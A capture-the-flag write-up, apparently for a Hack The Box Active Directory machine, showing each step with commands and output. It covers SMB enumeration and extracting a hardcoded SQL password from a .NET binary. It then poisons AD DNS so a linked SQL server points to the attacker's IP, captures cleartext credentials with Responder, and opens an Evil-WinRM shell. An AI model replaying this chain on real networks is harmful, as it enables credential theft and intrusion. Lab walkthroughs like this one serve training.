Attack Chain

Recon
We started with an Nmap service scan.
sudo nmap -sS -sV 10.129.52.87 -oN out.txtHere:
-sSperforms a TCP SYN scan-sVenables service version detection-oN out.txtsaves the output into a file
The scan revealed multiple AD related services.
alhamrizvi@alhams-fedora:~/overwatch$ sudo nmap -sS -sV 10.129.52.87 -oN out.txt
[sudo] password for alhamrizvi:
Starting Nmap 7.92 ( https://nmap.org ) at 2026-05-08 00:08 IST
Nmap scan report for 10.129.52.87
Host is up (0.32s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open tcpwrapped
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-07 18:38:58Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.06 secondsPort 88 showed Kerberos, 389 showed LDAP and 445 exposed SMB, which strongly indicated that the target was running Active Directory services. Nmap also disclosed the domain name as overwatch.htb and hostname as S200401.
After identifying SMB on port 445, we performed anonymous share enumeration using smbclient.
smbclient -L //10.129.52.87 -NHere:
-Llists available SMB shares-Nattempts authentication with a null session without providing a password
The target allowed anonymous listing of SMB shares.
alhamrizvi@alhams-fedora:~/overwatch$ smbclient -L //10.129.52.87 -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
software$ Disk
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available
alhamrizvi@alhams-fedora:~/overwatch$During enumeration we discovered the default Active Directory shares NETLOGON and SYSVOL, along with a custom share named software$, which looked particularly interesting.
After discovering the software$ SMB share, we connected to it anonymously using smbclient.
alhamrizvi@alhams-fedora:~/overwatch$ smbclient //10.129.52.87/software$ -N
Try "help" to get a list of possible commands.
smb: \> ls
. DH 0 Sat May 17 06:57:07 2025
.. DHS 0 Thu Jan 1 12:16:47 2026
Monitoring DH 0 Sat May 17 07:02:43 2025
7147007 blocks of size 4096. 981386 blocks available
smb: \> ls -la
NT_STATUS_NO_SUCH_FILE listing \-la
smb: \> cd Monitoring
smb: \Monitoring\> ls
. DH 0 Sat May 17 07:02:43 2025
.. DH 0 Sat May 17 06:57:07 2025
EntityFramework.dll AH 4991352 Fri Apr 17 02:08:42 2020
EntityFramework.SqlServer.dll AH 591752 Fri Apr 17 02:08:56 2020
EntityFramework.SqlServer.xml AH 163193 Fri Apr 17 02:08:56 2020
EntityFramework.xml AH 3738289 Fri Apr 17 02:08:40 2020
Microsoft.Management.Infrastructure.dll AH 36864 Mon Jul 17 20:16:10 2017
overwatch.exe AH 9728 Sat May 17 06:49:24 2025
overwatch.exe.config AH 2163 Sat May 17 06:32:30 2025
overwatch.pdb AH 30208 Sat May 17 06:49:24 2025
System.Data.SQLite.dll AH 450232 Mon Sep 30 02:11:18 2024
System.Data.SQLite.EF6.dll AH 206520 Mon Sep 30 02:10:06 2024
System.Data.SQLite.Linq.dll AH 206520 Mon Sep 30 02:10:42 2024
System.Data.SQLite.xml AH 1245480 Sun Sep 29 00:18:00 2024
System.Management.Automation.dll AH 360448 Mon Jul 17 20:16:10 2017
System.Management.Automation.xml AH 7145771 Mon Jul 17 20:16:10 2017
x64 DH 0 Sat May 17 07:02:33 2025
x86 DH 0 Sat May 17 07:02:33 2025
7147007 blocks of size 4096. 1000988 blocks available
smb: \Monitoring\> get overwatch.exe.config
getting file \Monitoring\overwatch.exe.config of size 2163 as overwatch.exe.config (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec)
smb: \Monitoring\> get overwatch.exe
getting file \Monitoring\overwatch.exe of size 9728 as overwatch.exe (7.5 KiloBytes/sec) (average 4.5 KiloBytes/sec)
smb: \Monitoring\> get overwatch.pdb
getting file \Monitoring\overwatch.pdb of size 30208 as overwatch.pdb (15.3 KiloBytes/sec) (average 9.2 KiloBytes/sec)
smb: \Monitoring\> exitAfter downloading the files from the SMB share, we analyzed the .NET executable using monodis.
sudo dnf install mono-devel -yHere:
dnf installinstalls packages on Fedoramono-develcontains tools for analyzing.NETbinaries includingmonodis
After installing the package, we disassembled the executable.
monodis overwatch.exemonodis is used to decompile and inspect .NET assemblies, allowing us to read methods, classes and hardcoded strings from the binary.
alhamrizvi@alhams-fedora:~/overwatch$ sudo dnf install mono-devel -y
monodis overwatch.exe
[sudo] password for alhamrizvi:
Updating and loading repositories:
Fedora 43 - x86_64 - Test Updates 100% | 3.9 KiB/s | 5.9 KiB | 00m02s
Fedora 43 - x86_64 - Updates 100% | 12.8 KiB/s | 7.5 KiB | 00m01s
Repositories loaded.
Package "mono-devel-6.12.0-21.fc43.x86_64" is already installed.
Nothing to do.
.assembly extern mscorlib
{
.ver 4:0:0:0
.publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly extern System.ServiceModel
{
.ver 4:0:0:0
.publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly extern System.Management
{
.ver 4:0:0:0
.publickeytoken = (B0 3F 5F 7F 11 D5 0A 3A ) // .?_....:
}
.assembly extern System
{
.ver 4:0:0:0
.publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly extern System.Data
{
.ver 4:0:0:0
.publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly extern System.Management.Automation
{
.ver 3:0:0:0
.publickeytoken = (31 BF 38 56 AD 36 4E 35 ) // 1.8V.6N5
}
.assembly extern System.Data.SQLite
{
.ver 1:0:119:0
.publickeytoken = (DB 93 7B C2 D4 4F F1 39 ) // ..{..O.9
}
.assembly 'overwatch'
{
.custom instance void class [mscorlib]System.Runtime.CompilerServices.CompilationRelaxationsAttribute::'.ctor'(int32) = (01 00 08 00 00 00 00 00 ) // ........
.custom instance void class [mscorlib]System.Runtime.CompilerServices.RuntimeCompatibilityAttribute::'.ctor'() = (
01 00 01 00 54 02 16 57 72 61 70 4E 6F 6E 45 78 // ....T..WrapNonEx
63 65 70 74 69 6F 6E 54 68 72 6F 77 73 01 ) // ceptionThrows.
.custom instance void class [mscorlib]System.Diagnostics.DebuggableAttribute::'.ctor'(valuetype [mscorlib]System.Diagnostics.DebuggableAttribute/DebuggingModes) = (01 00 02 00 00 00 00 00 ) // ........
.custom instance void class [mscorlib]System.Reflection.AssemblyTitleAttribute::'.ctor'(string) = (01 00 09 6F 76 65 72 77 61 74 63 68 00 00 ) // ...overwatch..
.custom instance void class [mscorlib]System.Reflection.AssemblyDescriptionAttribute::'.ctor'(string) = (01 00 00 00 00 ) // .....
.custom instance void class [mscorlib]System.Reflection.AssemblyConfigurationAttribute::'.ctor'(string) = (01 00 00 00 00 ) // .....
.custom instance void class [mscorlib]System.Reflection.AssemblyCompanyAttribute::'.ctor'(string) = (01 00 00 00 00 ) // .....
.custom instance void class [mscorlib]System.Reflection.AssemblyProductAttribute::'.ctor'(string) = (01 00 09 6F 76 65 72 77 61 74 63 68 00 00 ) // ...overwatch..
.custom instance void class [mscorlib]System.Reflection.AssemblyCopyrightAttribute::'.ctor'(string) = (
01 00 12 43 6F 70 79 72 69 67 68 74 20 C2 A9 20 // ...Copyright ..
20 32 30 32 35 00 00 ) // 2025..
.custom instance void class [mscorlib]System.Reflection.AssemblyTrademarkAttribute::'.ctor'(string) = (01 00 00 00 00 ) // .....
.custom instance void class [mscorlib]System.Runtime.InteropServices.ComVisibleAttribute::'.ctor'(bool) = (01 00 00 00 00 ) // .....
.custom instance void class [mscorlib]System.Runtime.InteropServices.GuidAttribute::'.ctor'(string) = (
01 00 24 32 66 63 36 30 34 63 38 2D 32 37 62 35 // ..$2fc604c8-27b5
2D 34 64 34 31 2D 38 37 32 35 2D 31 61 64 38 34 // -4d41-8725-1ad84
30 33 35 33 64 32 36 00 00 ) // 0353d26..
.custom instance void class [mscorlib]System.Reflection.AssemblyFileVersionAttribute::'.ctor'(string) = (01 00 07 31 2E 30 2E 30 2E 30 00 00 ) // ...1.0.0.0..
.custom instance void class [mscorlib]System.Runtime.Versioning.TargetFrameworkAttribute::'.ctor'(string) = (
01 00 1C 2E 4E 45 54 46 72 61 6D 65 77 6F 72 6B // ....NETFramework
2C 56 65 72 73 69 6F 6E 3D 76 34 2E 37 2E 32 01 // ,Version=v4.7.2.
00 54 0E 14 46 72 61 6D 65 77 6F 72 6B 44 69 73 // .T..FrameworkDis
70 6C 61 79 4E 61 6D 65 14 2E 4E 45 54 20 46 72 // playName..NET Fr
61 6D 65 77 6F 72 6B 20 34 2E 37 2E 32 ) // amework 4.7.2
.hash algorithm 0x00008004
.ver 1:0:0:0
}
.module overwatch.exe // GUID = {D75E208A-43BD-49E3-A2E3-AA2002B2944E}
.stackreserve 0x400000
.class interface public auto ansi abstract beforefieldinit IMonitoringService
{
.custom instance void class [System.ServiceModel]System.ServiceModel.ServiceContractAttribute::'.ctor'() = (01 00 00 00 ) // ....
// method line 1
.method public virtual hidebysig newslot abstract
instance default string StartMonitoring () cil managed
{
.custom instance void class [System.ServiceModel]System.ServiceModel.OperationContractAttribute::'.ctor'() = (01 00 00 00 ) // ....
// Method begins at RVA 0x0
} // end of method IMonitoringService::StartMonitoring
// method line 2
.method public virtual hidebysig newslot abstract
instance default string StopMonitoring () cil managed
{
.custom instance void class [System.ServiceModel]System.ServiceModel.OperationContractAttribute::'.ctor'() = (01 00 00 00 ) // ....
// Method begins at RVA 0x0
} // end of method IMonitoringService::StopMonitoring
// method line 3
.method public virtual hidebysig newslot abstract
instance default string KillProcess (string processName) cil managed
{
.custom instance void class [System.ServiceModel]System.ServiceModel.OperationContractAttribute::'.ctor'() = (01 00 00 00 ) // ....
// Method begins at RVA 0x0
} // end of method IMonitoringService::KillProcess
} // end of class IMonitoringService
.class public auto ansi beforefieldinit MonitoringService
extends [mscorlib]System.Object
implements IMonitoringService {
.field private class [System.Management]System.Management.ManagementEventWatcher processStartWatcher
.field private bool isRunning
.field private initonly string connectionString
// method line 4
.method public final virtual hidebysig newslot
instance default string StartMonitoring () cil managed
{
// Method begins at RVA 0x2048
// Code size 50 (0x32)
.maxstack 8
IL_0000: ldarg.0
IL_0001: ldfld bool MonitoringService::isRunning
IL_0006: brfalse.s IL_000e
IL_0008: ldstr "Already monitoring."
IL_000d: ret
IL_000e: ldarg.0
IL_000f: ldftn instance void class MonitoringService::SystemEvents_SessionSwitch(object, class [System]Microsoft.Win32.SessionSwitchEventArgs)
IL_0015: newobj instance void class [System]Microsoft.Win32.SessionSwitchEventHandler::'.ctor'(object, native int)
IL_001a: call void class [System]Microsoft.Win32.SystemEvents::add_SessionSwitch(class [System]Microsoft.Win32.SessionSwitchEventHandler)
IL_001f: ldarg.0
IL_0020: call instance void class MonitoringService::StartProcessWatcher()
IL_0025: ldarg.0
IL_0026: ldc.i4.1
IL_0027: stfld bool MonitoringService::isRunning
IL_002c: ldstr "Monitoring started."
IL_0031: ret
} // end of method MonitoringService::StartMonitoring
// method line 5
.method public final virtual hidebysig newslot
instance default string StopMonitoring () cil managed
{
// Method begins at RVA 0x207b
// Code size 55 (0x37)
.maxstack 8
IL_0000: ldarg.0
IL_0001: ldfld bool MonitoringService::isRunning
IL_0006: brtrue.s IL_000e
IL_0008: ldstr "Monitoring not active."
IL_000d: ret
IL_000e: ldarg.0
IL_000f: ldftn instance void class MonitoringService::SystemEvents_SessionSwitch(object, class [System]Microsoft.Win32.SessionSwitchEventArgs)
IL_0015: newobj instance void class [System]Microsoft.Win32.SessionSwitchEventHandler::'.ctor'(object, native int)
IL_001a: call void class [System]Microsoft.Win32.SystemEvents::remove_SessionSwitch(class [System]Microsoft.Win32.SessionSwitchEventHandler)
IL_001f: ldarg.0
IL_0020: ldfld class [System.Management]System.Management.ManagementEventWatcher MonitoringService::processStartWatcher
IL_0025: callvirt instance void class [System.Management]System.Management.ManagementEventWatcher::Stop()
IL_002a: ldarg.0
IL_002b: ldc.i4.0
IL_002c: stfld bool MonitoringService::isRunning
IL_0031: ldstr "Monitoring stopped."
IL_0036: ret
} // end of method MonitoringService::StopMonitoring
// method line 6
.method private hidebysig
instance default void SystemEvents_SessionSwitch (object sender, class [System]Microsoft.Win32.SessionSwitchEventArgs e) cil managed
{
// Method begins at RVA 0x20b4
// Code size 44 (0x2c)
.maxstack 4
.locals init (
string V_0,
valuetype [System]Microsoft.Win32.SessionSwitchReason V_1)
IL_0000: ldarg.2
IL_0001: callvirt instance valuetype [System]Microsoft.Win32.SessionSwitchReason class [System]Microsoft.Win32.SessionSwitchEventArgs::get_Reason()
IL_0006: stloc.1
IL_0007: ldloca.s 1
IL_0009: constrained. [System]Microsoft.Win32.SessionSwitchReason
IL_000f: callvirt instance string object::ToString()
IL_0014: stloc.0
IL_0015: ldarg.0
IL_0016: ldstr "SessionSwitch"
IL_001b: ldstr "Reason: "
IL_0020: ldloc.0
IL_0021: call string string::Concat(string, string)
IL_0026: call instance void class MonitoringService::LogEvent(string, string)
IL_002b: ret
} // end of method MonitoringService::SystemEvents_SessionSwitch
// method line 7
.method private hidebysig
instance default void StartProcessWatcher () cil managed
{
// Method begins at RVA 0x20ec
// Code size 58 (0x3a)
.maxstack 3
.locals init (
class [System.Management]System.Management.WqlEventQuery V_0)
IL_0000: ldstr "SELECT * FROM Win32_ProcessStartTrace"
IL_0005: newobj instance void class [System.Management]System.Management.WqlEventQuery::'.ctor'(string)
IL_000a: stloc.0
IL_000b: ldarg.0
IL_000c: ldloc.0
IL_000d: newobj instance void class [System.Management]System.Management.ManagementEventWatcher::'.ctor'(class [System.Management]System.Management.EventQuery)
IL_0012: stfld class [System.Management]System.Management.ManagementEventWatcher MonitoringService::processStartWatcher
IL_0017: ldarg.0
IL_0018: ldfld class [System.Management]System.Management.ManagementEventWatcher MonitoringService::processStartWatcher
IL_001d: ldarg.0
IL_001e: ldftn instance void class MonitoringService::'<StartProcessWatcher>b__6_0'(object, class [System.Management]System.Management.EventArrivedEventArgs)
IL_0024: newobj instance void class [System.Management]System.Management.EventArrivedEventHandler::'.ctor'(object, native int)
IL_0029: callvirt instance void class [System.Management]System.Management.ManagementEventWatcher::add_EventArrived(class [System.Management]System.Management.EventArrivedEventHandler)
IL_002e: ldarg.0
IL_002f: ldfld class [System.Management]System.Management.ManagementEventWatcher MonitoringService::processStartWatcher
IL_0034: callvirt instance void class [System.Management]System.Management.ManagementEventWatcher::Start()
IL_0039: ret
} // end of method MonitoringService::StartProcessWatcher
// method line 8
.method private hidebysig
instance default void LogEvent (string 'type', string detail) cil managed
{
// Method begins at RVA 0x2134
// Code size 86 (0x56)
.maxstack 4
.locals init (
class [System.Data]System.Data.SqlClient.SqlConnection V_0)
IL_0000: ldarg.0
IL_0001: ldfld string MonitoringService::connectionString
IL_0006: newobj instance void class [System.Data]System.Data.SqlClient.SqlConnection::'.ctor'(string)
IL_000b: stloc.0
.try { // 0
IL_000c: ldc.i4.5
IL_000d: newarr [mscorlib]System.String
IL_0012: dup
IL_0013: ldc.i4.0
IL_0014: ldstr "INSERT INTO EventLog (Timestamp, EventType, Details) VALUES (GETDATE(), '"
IL_0019: stelem.ref
IL_001a: dup
IL_001b: ldc.i4.1
IL_001c: ldarg.1
IL_001d: stelem.ref
IL_001e: dup
IL_001f: ldc.i4.2
IL_0020: ldstr "', '"
IL_0025: stelem.ref
IL_0026: dup
IL_0027: ldc.i4.3
IL_0028: ldarg.2
IL_0029: stelem.ref
IL_002a: dup
IL_002b: ldc.i4.4
IL_002c: ldstr "')"
IL_0031: stelem.ref
IL_0032: call string string::Concat(string[])
IL_0037: ldloc.0
IL_0038: newobj instance void class [System.Data]System.Data.SqlClient.SqlCommand::'.ctor'(string, class [System.Data]System.Data.SqlClient.SqlConnection)
IL_003d: ldloc.0
IL_003e: callvirt instance void class [System.Data]System.Data.Common.DbConnection::Open()
IL_0043: callvirt instance int32 class [System.Data]System.Data.Common.DbCommand::ExecuteNonQuery()
IL_0048: pop
IL_0049: leave.s IL_0055
} // end .try 0
finally { // 0
IL_004b: ldloc.0
IL_004c: brfalse.s IL_0054
IL_004e: ldloc.0
IL_004f: callvirt instance void class [mscorlib]System.IDisposable::Dispose()
IL_0054: endfinally
} // end handler 0
IL_0055: ret
} // end of method MonitoringService::LogEvent
// method line 9
.method public final virtual hidebysig newslot
instance default string KillProcess (string processName) cil managed
{
// Method begins at RVA 0x21a8
} // end of method MonitoringService::KillProcess
// method line 10
.method public hidebysig specialname rtspecialname
instance default void '.ctor' () cil managed
{
// Method begins at RVA 0x22ac
// Code size 18 (0x12)
.maxstack 8
IL_0000: ldarg.0
IL_0001: ldstr "Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;"
IL_0006: stfld string MonitoringService::connectionString
IL_000b: ldarg.0
IL_000c: call instance void object::'.ctor'()
IL_0011: ret
} // end of method MonitoringService::.ctor
// method line 11
.method private hidebysig
instance default void '<StartProcessWatcher>b__6_0' (object sender, class [System.Management]System.Management.EventArrivedEventArgs e) cil managed
{
.custom instance void class [mscorlib]System.Runtime.CompilerServices.CompilerGeneratedAttribute::'.ctor'() = (01 00 00 00 ) // ....
// Method begins at RVA 0x22c0
// Code size 55 (0x37)
.maxstack 4
.locals init (
string V_0)
IL_0000: ldarg.2
IL_0001: callvirt instance class [System.Management]System.Management.ManagementBaseObject class [System.Management]System.Management.EventArrivedEventArgs::get_NewEvent()
IL_0006: callvirt instance class [System.Management]System.Management.PropertyDataCollection class [System.Management]System.Management.ManagementBaseObject::get_Properties()
IL_000b: ldstr "ProcessName"
IL_0010: callvirt instance class [System.Management]System.Management.PropertyData class [System.Management]System.Management.PropertyDataCollection::get_Item(string)
IL_0015: callvirt instance object class [System.Management]System.Management.PropertyData::get_Value()
IL_001a: callvirt instance string object::ToString()
IL_001f: stloc.0
IL_0020: ldarg.0
IL_0021: ldstr "ProcessStart"
IL_0026: ldstr "Process: "
IL_002b: ldloc.0
IL_002c: call string string::Concat(string, string)
IL_0031: call instance void class MonitoringService::LogEvent(string, string)
IL_0036: ret
} // end of method MonitoringService::<StartProcessWatcher>b__6_0
} // end of class MonitoringService
.class private auto ansi beforefieldinit Program
extends [mscorlib]System.Object
{
// method line 12
.method private static hidebysig
default void Main (string[] args) cil managed
{
// Method begins at RVA 0x2304
.entrypoint
// Code size 95 (0x5f)
.maxstack 5
IL_0000: ldtoken MonitoringService
IL_0005: call class [mscorlib]System.Type class [mscorlib]System.Type::GetTypeFromHandle(valuetype [mscorlib]System.RuntimeTypeHandle)
IL_000a: call !!0[] class [mscorlib]System.Array::Empty<class [System]System.Uri> ()
IL_000f: newobj instance void class [System.ServiceModel]System.ServiceModel.ServiceHost::'.ctor'(class [mscorlib]System.Type, class [System]System.Uri[])
IL_0014: dup
IL_0015: callvirt instance void class [System.ServiceModel]System.ServiceModel.Channels.CommunicationObject::Open()
IL_001a: ldstr "Service is running..."
IL_001f: call void class [mscorlib]System.Console::WriteLine(string)
IL_0024: ldc.r8 30000.
IL_002d: newobj instance void class [System]System.Timers.Timer::'.ctor'(float64)
IL_0032: dup
IL_0033: ldnull
IL_0034: ldftn void class Program::CheckEdgeHistory(object, class [System]System.Timers.ElapsedEventArgs)
IL_003a: newobj instance void class [System]System.Timers.ElapsedEventHandler::'.ctor'(object, native int)
IL_003f: callvirt instance void class [System]System.Timers.Timer::add_Elapsed(class [System]System.Timers.ElapsedEventHandler)
IL_0044: callvirt instance void class [System]System.Timers.Timer::Start()
IL_0049: ldstr "Press Enter to exit..."
IL_004e: call void class [mscorlib]System.Console::WriteLine(string)
IL_0053: call string class [mscorlib]System.Console::ReadLine()
IL_0058: pop
IL_0059: callvirt instance void class [System.ServiceModel]System.ServiceModel.Channels.CommunicationObject::Close()
IL_005e: ret
} // end of method Program::Main
// method line 13
.method private static hidebysig
default void CheckEdgeHistory (object sender, class [System]System.Timers.ElapsedEventArgs e) cil managed
{
// Method begins at RVA 0x2370
} // end of method Program::CheckEdgeHistory
// method line 14
.method public hidebysig specialname rtspecialname
instance default void '.ctor' () cil managed
{
// Method begins at RVA 0x2494
// Code size 7 (0x7)
.maxstack 8
IL_0000: ldarg.0
IL_0001: call instance void object::'.ctor'()
IL_0006: ret
} // end of method Program::.ctor
} // end of class Program and tell whaty creds w egotWhile reviewing the output, we discovered a hardcoded SQL connection string inside the constructor of the MonitoringService class.
Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;From this, we extracted the following credentials:
Username: sqlsvc
Password: TI0LKcfHzZw1VvThe binary also revealed that the application was logging process activity and session events into a SQL database named SecurityLogs using the sqlsvc account.
Initial Access
Using the credentials extracted from the .NET binary, we authenticated to the MSSQL server with Impacket's mssqlclient.py.
alhamrizvi@alhams-fedora:~/overwatch$ python3 /usr/bin/mssqlclient.py overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv@10.129.52.87 -port 6520 -windows-auth
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (OVERWATCH\sqlsvc guest@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
-
0
SQL (OVERWATCH\sqlsvc guest@master)> SELECT name FROM master.dbo.sysdatabases;
name
---------
master
tempdb
model
msdb
overwatch
SQL (OVERWATCH\sqlsvc guest@master)> USE overwatch;
ENVCHANGE(DATABASE): Old Value: master, New Value: overwatch
INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'overwatch'.
SQL (OVERWATCH\sqlsvc dbo@overwatch)> SELECT * FROM INFORMATION_SCHEMA.TABLES;
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
------------- ------------ ---------- ----------
overwatch dbo Eventlog b'BASE TABLE'
SQL (OVERWATCH\sqlsvc dbo@overwatch)> SELECT TOP 50 * FROM Eventlog ORDER BY Timestamp DESC;
Id Timestamp EventType Details
-- --------- --------- -------
SQL (OVERWATCH\sqlsvc dbo@overwatch)> EXEC sp_linkedservers;
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
------------------ ---------------- ----------- ------------------ ------------------ ------------ -------
S200401\SQLEXPRESS SQLNCLI SQL Server S200401\SQLEXPRESS NULL NULL NULL
SQL07 SQLNCLI SQL Server SQL07 NULL NULL NULL
SQL (OVERWATCH\sqlsvc dbo@overwatch)> EXEC sp_helplinkedsrvlogin;
Linked Server Local Login Is Self Mapping Remote Login
------------- ----------- --------------- ------------ Here:
sqlsvc:TI0LKcfHzZw1Vvare the credentials recovered from the binary-port 6520specifies the custom MSSQL port-windows-authenables Windows authentication
Authentication succeeded and we obtained an interactive SQL shell.
We first checked whether the sqlsvc account had sysadmin privileges.
SELECT IS_SRVROLEMEMBER('sysadmin');The query returned:
0This confirmed that the account was not a SQL administrator.
Next, we enumerated the available databases.
SELECT name FROM master.dbo.sysdatabases;The server contained a custom database named overwatch.
master
tempdb
model
msdb
overwatchWe switched into the database.
USE overwatch;Then enumerated the available tables.
SELECT * FROM INFORMATION_SCHEMA.TABLES;The database contained a single table named Eventlog.
EventlogWe attempted to read its contents.
SELECT TOP 50 * FROM Eventlog ORDER BY Timestamp DESC;However, the table was empty.
Next, we enumerated linked SQL servers.
EXEC sp_linkedservers;This revealed another linked server named SQL07.
S200401\SQLEXPRESS
SQL07To inspect linked login mappings, we executed:
EXEC sp_helplinkedsrvlogin;No explicit login mappings were shown.
We then attempted to query the linked server.
EXEC ('SELECT @@version') AT SQL07;The request failed with a communication error, indicating the server attempted to connect externally to SQL07.
To exploit this behavior, we poisoned the DNS record for SQL07 using dnstool.py.
maybe this is ADIDNS poisoning


python3 dnstool.py -u 'overwatch\sqlsvc' -p 'TI0LKcfHzZw1Vv' --action add --record SQL07 --data 10.10.15.1 --type A 10.129.52.87The DNS record already existed and pointed to our VPN IP 10.10.15.1, meaning the hostname resolution was already poisoned successfully.
Next, we started Responder to capture incoming authentication attempts.
sudo responder -I tun0 -vHere:
-I tun0listens on the VPN interface-venables verbose output
[sudo] password for alhamrizvi:
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
[*] Tips jar:
USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
BTC -> bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
DHCPv6 [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.15.1]
Responder IPv6 [fe80::50c:1735:96e6:3d2]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
Don't Respond To MDNS TLD ['_DOSVC']
TTL for poisoned response [default]
[+] Current Session Variables:
Responder Machine Name [WIN-MAHLJGKRWOG]
Responder Domain Name [CCYX.LOCAL]
Responder DCE-RPC Port [49799]
[*] Version: Responder 3.2.2.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>
[+] Listening for events...
[!] Error starting TCP server on port 80, check permissions or other servers running.
[!] Error starting TCP server on port 3389, check permissions or other servers running.
[!] Error starting TCP server on port 53, check permissions or other servers running.
[MSSQL] Received connection from 10.129.52.87
[MSSQL] Cleartext Client : 10.129.52.87
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yxAfter triggering the linked server request again, Responder captured MSSQL authentication credentials.
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yxWe successfully recovered the following credentials:
Username: sqlmgmt
Password: bIhBbzMMnB82yxUsing these credentials, we authenticated to the target over WinRM with Evil-WinRM.
alhamrizvi@alhams-fedora:~/overwatch$ evil-winrm -i 10.129.52.87 -u sqlmgmt -p 'bIhBbzMMnB82yx'
/usr/local/share/gems/gems/winrm-2.3.9/lib/winrm/psrp/fragment.rb:35: warning: redefining 'object_id' may cause serious problems
/usr/local/share/gems/gems/winrm-2.3.9/lib/winrm/psrp/message_fragmenter.rb:29: warning: redefining 'object_id' may cause serious problems
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method 'quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
/usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...
*Evil-WinRM* PS C:\Users\sqlmgmt\Documents> cd C:\Users\sqlmgmt\Desktop
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop>
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> touch user.txt
The term 'touch' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ touch user.txt
+ ~~~~~
+ CategoryInfo : ObjectNotFound: (touch:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> type user.txt
REDACTED
Why we did that?
Basically after gaining the initial sqlsvc credentials from the .NET binary, we authenticated to the MSSQL server using mssqlclient.py. While enumerating the SQL server, we discovered a linked server named SQL07.
When we tried querying the linked server using:
EXEC ('SELECT @@version') AT SQL07;the connection failed because the server attempted to resolve the hostname SQL07 over the network.
At this point, we abused Active Directory DNS using dnstool.py and modified the DNS record for SQL07 so that it pointed to our attacker machine (10.10.15.1).
python3 dnstool.py -u 'overwatch\sqlsvc' -p 'TI0LKcfHzZw1Vv' --action add --record SQL07 --data 10.10.15.1 --type A 10.129.52.87This meant whenever the SQL server tried connecting to SQL07, it would actually connect to us instead.
To capture the incoming authentication attempt, we started Responder.
